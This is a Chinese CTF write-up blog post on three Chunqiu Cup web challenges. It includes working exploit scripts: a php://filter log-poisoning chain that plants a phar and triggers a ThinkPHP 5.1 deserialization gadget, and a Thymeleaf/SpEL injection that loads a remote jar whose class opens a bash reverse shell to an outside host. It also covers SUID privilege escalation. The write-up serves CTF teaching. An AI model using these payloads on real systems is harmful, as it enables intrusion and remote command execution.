抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

周末看pwn2win的间隙做了下春秋杯的web。从结果上看题目质量还可以,也拿了2个三血。本来以为可以ak web的,但是因为最后一题远程环境太卡了,所以没在比赛时间内做出来。因此这里总结性地介绍下解三个web的方法思路。

ctfaker

typescript源码给出来了。仔细看会发现其实可控点只有/levelup一处,所以快速定位到factor上

factor由可控值经parseInt处理。而parseInt 有传字符串或科学计数法被截断的特性。那么我们就可以让属性变得足够大。一次打败所有怪兽

parseInt('99999999999999e-40') == 99999999999999

# coding: utf-8
# -**- author: byc_404 -**-
url = 'xxx'
r = requests.post(url + 'levelup', json = {
    'f':'99999999999999e-40'
})
r = requests.get(url+'fight')
r = requests.get(url+'monster')
print(r.text)

easyfilter

我们可以看到关键代码

其实熟悉的就应该知道,这是laravel8 debug mode下漏洞代码的简化版。即进行一组可控的file_get_contents + file_put_contents
laravel8 的洞如果没有跟过的话,还是建议看一下。很好的运用了php各种filter的性质。

回到本题。我们可以同样采用这个思路,先通过报错手段创建log文件。

看一下log格式。

虽然跟laravel不太一样,但还是能用类似手段处理的。这里我简单提一下laravel的思路

1.convert.base64-decode 过滤器可以直接把非base64字符处理掉
2.convert.iconv.utf-16le.utf-8 可以把utf-16转utf-8。这一步可以将很多正常字符转成乱码

那么似乎,我们可以将payload的base64编码进行utf-16编码写入log,然后先用convert.iconv.utf-16le.utf-8过滤器,使得log中只有base64-payload是正常base64字符集内的。然后用convert.base64-decode处理,就只剩下payload了。

但是,由于我们的目的是写入phar.里面含有%00.所以我们还需要找到写入%00的方法。方案就是使用php filter的内置过滤器convert.quoted-printable-decode.它的encode就是编码成={字符ascii码},所以我们可以将空字节按=00写入。

第一步清log的话用ambionics的方法就行。第二步我在尝试直接照搬失败后,想到了不如直接写入payload。由于这里file参数是get传的,报错写到log里时参数被url编码了,整个log里也会有一个我们原始的payload + 一个url编码后的payload。不过由于thinkphp这里的log把http请求的路径参数等都带上了。所以我就直接socket发包,把payload的位置控制在file后面,保证log里只有一处payload,且不会被编码.

效果:

最后一个小问题就是iconv.utf-16le.utf-8处理内容需要偶数长度。这个直接55开概率填充字符就好了(

exp

# coding: utf-8
# -**- author: byc_404 -**-
import requests
import socket

url = 'http://eci-2zeexuk65iew0fq0ohe6.cloudeci1.ichunqiu.com/index.php/hello/1234'

host = 'eci-2zeexuk65iew0fq0ohe6.cloudeci1.ichunqiu.com'
def clear():
    r = requests.get(url, params={
        'file': 'php://filter/read=consumed/resource=../runtime/log/202105/29.log'
    })
    print(r.text)


def write(payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, 80))
    sock.send(f"""GET /index.php/hello/12345?file{payload} HTTP/1.1
HOST: eci-2zeexuk65iew0fq0ohe6.cloudeci1.ichunqiu.com
User-Agent: curl/7.64.1

""".encode())
    print(sock.recv(2048))


def trigger():
    r = requests.get(url, params={
        'file': 'php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/log/202105/29.log'
    })
    print(r.text)

def exp():
    r = requests.get(url, params={
        'file': 'phar:///var/www/html/runtime/log/202105/29.log'
    })
    print(r.text)

#php poc.php -> phar.phar
#cat phar.phar  | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g'
payload = 'R=000=00l=00G=00O=00D=00l=00h=00P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00p=00x=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00A=007=00A=00Q=00A=00A=00T=00z=00o=00y=00N=00z=00o=00i=00d=00G=00h=00p=00b=00m=00t=00c=00c=00H=00J=00v=00Y=002=00V=00z=00c=001=00x=00w=00a=00X=00B=00l=00c=001=00x=00X=00a=00W=005=00k=00b=003=00d=00z=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00M=000=00O=00i=00I=00A=00d=00G=00h=00p=00b=00m=00t=00c=00c=00H=00J=00v=00Y=002=00V=00z=00c=001=00x=00w=00a=00X=00B=00l=00c=001=00x=00X=00a=00W=005=00k=00b=003=00d=00z=00A=00G=00Z=00p=00b=00G=00V=00z=00I=00j=00t=00h=00O=00j=00E=006=00e=002=00k=006=00M=00D=00t=00P=00O=00j=00E=003=00O=00i=00J=000=00a=00G=00l=00u=00a=001=00x=00t=00b=002=00R=00l=00b=00F=00x=00Q=00a=00X=00Z=00v=00d=00C=00I=006=00N=00D=00p=007=00c=00z=00o=00x=00N=00z=00o=00i=00A=00H=00R=00o=00a=00W=005=00r=00X=00E=001=00v=00Z=00G=00V=00s=00A=00G=00R=00h=00d=00G=00E=00i=00O=002=00E=006=00M=00T=00p=007=00c=00z=00o=002=00O=00i=00I=000=00d=00X=00Q=00x=00N=00W=000=00i=00O=003=00M=006=00O=00T=00o=00i=00d=00G=00F=00j=00I=00C=009=00m=00b=00G=00F=00n=00I=00j=00t=009=00c=00z=00o=00y=00M=00T=00o=00i=00A=00H=00R=00o=00a=00W=005=00r=00X=00E=001=00v=00Z=00G=00V=00s=00A=00H=00d=00p=00d=00G=00h=00B=00d=00H=00R=00y=00I=00j=00t=00h=00O=00j=00E=006=00e=003=00M=006=00N=00j=00o=00i=00N=00H=00V=000=00M=00T=00V=00t=00I=00j=00t=00z=00O=00j=00Y=006=00I=00n=00N=005=00c=003=00R=00l=00b=00S=00I=007=00f=00X=00M=006=00O=00T=00o=00i=00A=00C=00o=00A=00Y=00X=00B=00w=00Z=00W=005=00k=00I=00j=00t=00h=00O=00j=00E=006=00e=003=00M=006=00N=00j=00o=00i=00N=00H=00V=000=00M=00T=00V=00t=00I=00j=00t=00h=00O=00j=00A=006=00e=003=001=009=00c=00z=00o=004=00O=00i=00J=00y=00Z=00W=00x=00h=00d=00G=00l=00v=00b=00i=00I=007=00Y=00T=00o=00x=00O=00n=00t=00p=00O=00j=00A=007=00c=00z=00o=00x=00O=00i=00I=00x=00I=00j=00t=009=00f=00X=001=009=00C=00A=00A=00A=00A=00H=00R=00l=00c=003=00Q=00u=00d=00H=00h=000=00B=00A=00A=00A=00A=00B=003=00y=00s=00W=00A=00E=00A=00A=00A=00A=00D=00H=005=00/=002=00K=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00d=00G=00V=00z=00d=00N=00i=007=00R=00e=00v=00K=00D=00K=002=00M=00E=008=00F=00h=00E=00e=00j=001=00T=00a=00S=00L=00Q=00p=00+=00L=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00'
clear()
write(payload)
trigger()
exp()

生成tp5.1反序列化利用phar的poc.php

<?php
namespace think;
abstract class Model{
    private $data = [];
    private $withAttr = [];
    protected $append = ['byc_404'=>[]];

    public function __construct($cmd){
        $this->relation = ["1"];
        $this->data = ['byc_404'=> $cmd];
        $this->withAttr = ['byc_404'=>'system'];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{
}


namespace think\process\pipes;
use think\model\Pivot;
class Windows{
    private $files = [];

    public function __construct($cmd){
        $this->files = [new Pivot($cmd)];
    }

}

$windows = new Windows("tac /flag");
echo base64_encode(serialize($windows))."\n";

@unlink('phar.phar');
$p = new \Phar('phar.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$p->setMetadata($windows);
$p->addFromString('test.txt','test');
$p->stopBuffering();
?>

Do_You_Know_Me

环境真的太卡了。。。而且基本过了10多分钟后每次请求就稳定超时。没有源码黑盒打导致至少拖沓了几小时。不然肯定比赛里能出。

漏洞就是个thymeleaf 的ssti,或者说就是SpEL.因为是springboot的环境,所以还是很好想到thymeleaf的。关键还是怎么绕waf.

这里测了下,估计waf有java.lang.*,forName,newInstance,new,toString,runtimexx 等等。但是URLclassloader还在。所以可以远程加载类

这里我们可以利用SpEL的特性,关键字不区分大小写,正常创建对象。
New java.net.URLClassLoader(New java.net.URL[]{New java.net.URL("http://xxxx/xxx.jar"})

紧接着就遇到第二个问题。无法使用字符串。这里常规手段T(java.lang.Character)是不行了.于是我去翻了下thymeleaf的文档。发现有很多非常好用的内置variable
https://www.thymeleaf.org/doc/tutorials/2.1/usingthymeleaf.html#appendix-a-expression-basic-objects
当然,这些web context有一半也被ban掉了。但是看到下面的httpServletRequest的方法getParameter,应该能够读取http请求的参数。这样我们就能传入字符串了。

然后遇到第三个问题。原本我打算远程加载恶意类,实例化然后直接命令执行。然而newInstance被ban了。。。但是毕竟我们现在可以做到加载类,那么反射调用任意方法来执行命令应该没有什么问题。看了下getDeclaredMethodinvoke都在,解决方法就水落石出了。

创建恶意类。我们把命令执行代码写入其静态rce方法。

import java.io.*;

public class Evil {
    public static void rce() {
        try {
            String commands[] = {"bash", "-c", "bash -i >& /dev/tcp/xxx/9001 0>&1"};
            Runtime.getRuntime().exec(commands);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

编译生成Evil.jar

javac Evil.java
jar cvf Evil.jar Evil.class

vps上监听,然后打一发

New java.net.URLClassLoader(New java.net.URL[]{New java.net.URL("http://xxxx/xxx.jar"}).getDeclaredMethod("rce").invoke(null)

# coding: utf-8
# -**- author: byc_404 -**-
import requests

url = 'http://eci-2zecj5hgsz4r0xz16uc6.cloudeci1.ichunqiu.com:8888/'


def poc():
    r = requests.post(url + 'search?0=Evil&1=http://120.27.246.202/Evil.jar&2=rce', data={
        'name': '[[${ New java.net.URLClassLoader(New java.net.URL[]{New java.net.URL(#httpServletRequest.getParameter(1))}).loadClass(#httpServletRequest.getParameter(0)).getDeclaredMethod(#httpServletRequest.getParameter(2)).invoke(null)  }]] '
    })
    print(r.text)


poc()

反弹shell成功。然后发现readflag需要root权限。看了下没有其他可控root服务。所以find / -user root -perm -4000找下suid,发现了python2.7是有suid位的。直接提权readflag即可

Summary

总的说题目质量还可以。但是环境很迷,某种角度上来说顺便帮我巩固了波java(

评论